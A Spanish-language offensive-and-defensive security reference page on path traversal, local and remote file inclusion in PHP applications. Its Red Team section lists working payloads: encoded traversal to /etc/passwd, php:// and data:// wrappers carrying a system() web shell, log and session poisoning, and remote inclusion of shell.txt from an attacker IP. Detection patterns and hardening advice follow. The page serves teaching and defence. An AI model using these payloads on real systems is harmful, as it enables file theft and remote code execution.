LFI / RFI & path traversal
Cuando la aplicación usa entrada del usuario para construir una ruta de fichero (o
para include/require), el atacante puede salir del directorio previsto (path
traversal) para leer ficheros arbitrarios, incluir ficheros locales (LFI) o remotos
(RFI). Según el lenguaje y la config, la LFI escala a RCE.
Modelo de amenaza
Sección titulada «Modelo de amenaza»Lectura de ficheros sensibles (/etc/passwd, código fuente, config, claves, logs), y
ejecución de código: RFI incluye tu payload remoto; LFI puede ejecutar vía
wrappers PHP, log poisoning, ficheros de sesión o /proc.
Anatomía
Sección titulada «Anatomía»Dos puntos de entrada: (1) rutas que se devuelven/leen (?file=informe.pdf); (2)
inclusiones dinámicas (include($_GET['page'])). El salto se hace con secuencias
../, rutas absolutas o wrappers de protocolo.
Red Team
Sección titulada «Red Team»Path traversal (lectura)
Sección titulada «Path traversal (lectura)»../../../../etc/passwd..%2f..%2f..%2fetc%2fpasswd # URL-encode..%252f..%252f # doble URL-encode....//....// # bypass de filtros que quitan ..//var/www/html/index.php # ruta absoluta# (legacy) %00 null byte para cortar sufijos, en versiones antiguasLFI → RCE
Sección titulada «LFI → RCE»# Leer código fuente en Base64 (PHP)php://filter/convert.base64-encode/resource=index.php
# Ejecutar input directophp://input (POST con <?php system($_GET[c]); ?>)data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=
# Log poisoning: inyecta PHP en un log y luego inclúyelo# User-Agent: <?php system($_GET[c]); ?> -> include(/var/log/apache2/access.log)/proc/self/environ # si es incluible y controlas una variablesess_<id> en /var/lib/php/sessions # session poisoning# requiere allow_url_include=On (PHP)?page=http://TU_IP/shell.txtHerramientas
Sección titulada «Herramientas»ffuf/wfuzz (fuzzing de rutas y wrappers), LFISuite, y listas de
PayloadsAllTheThings.
Impacto y encadenamiento
Sección titulada «Impacto y encadenamiento»Lectura de secretos → acceso a otros sistemas; RCE → pivote y persistencia.
Blue Team
Sección titulada «Blue Team»Detección
Sección titulada «Detección»- Parámetros con
../,%2e%2e,php://,data://, rutas absolutas. - Inclusión de logs/
/proc/ficheros de sesión; peticiones salientes (RFI).
Telemetría y fuentes
Sección titulada «Telemetría y fuentes»WAF, logs de la app con la ruta construida, y FIM/monitorización de lectura de ficheros sensibles.
Hardening
Sección titulada «Hardening»- No usar entrada del usuario en rutas/inclusiones. Si hay que elegir, lista
blanca de ficheros por identificador (mapa
id -> ruta). - Normalizar y validar:
basename, resolver ruta y comprobar que queda dentro del directorio permitido (canonicalización). - PHP:
allow_url_include=Off,allow_url_fopen=Off,open_basedir, deshabilitar wrappers peligrosos. - Mínimo privilegio y chroot/contenedor.
Respuesta
Sección titulada «Respuesta»Rotar secretos leídos, buscar webshells (RFI/LFI2RCE), y corregir la construcción de rutas.
CVEs y casos reales
Sección titulada «CVEs y casos reales»- Path traversal y LFI son endémicos en CMS, plugins, paneles y dispositivos; han sido base de innumerables CVEs (lectura de config/credenciales → compromiso).
- Varios productos han sufrido traversal pre-auth que exponía ficheros de configuración con credenciales.
CVEs concretos en NVD (https://nvd.nist.gov/vuln/search) y GitHub Advisories (https://github.com/advisories).
Checklist de prueba
Sección titulada «Checklist de prueba»- Traversal probado con codificaciones y bypasses (
....//, doble URL). - Lectura de fichero sensible confirmada.
- LFI→RCE probado (wrappers, log/session poisoning) si aplica.
- RFI probado si
allow_url_includeestá activo. - Impacto documentado sin exfiltrar datos reales de terceros.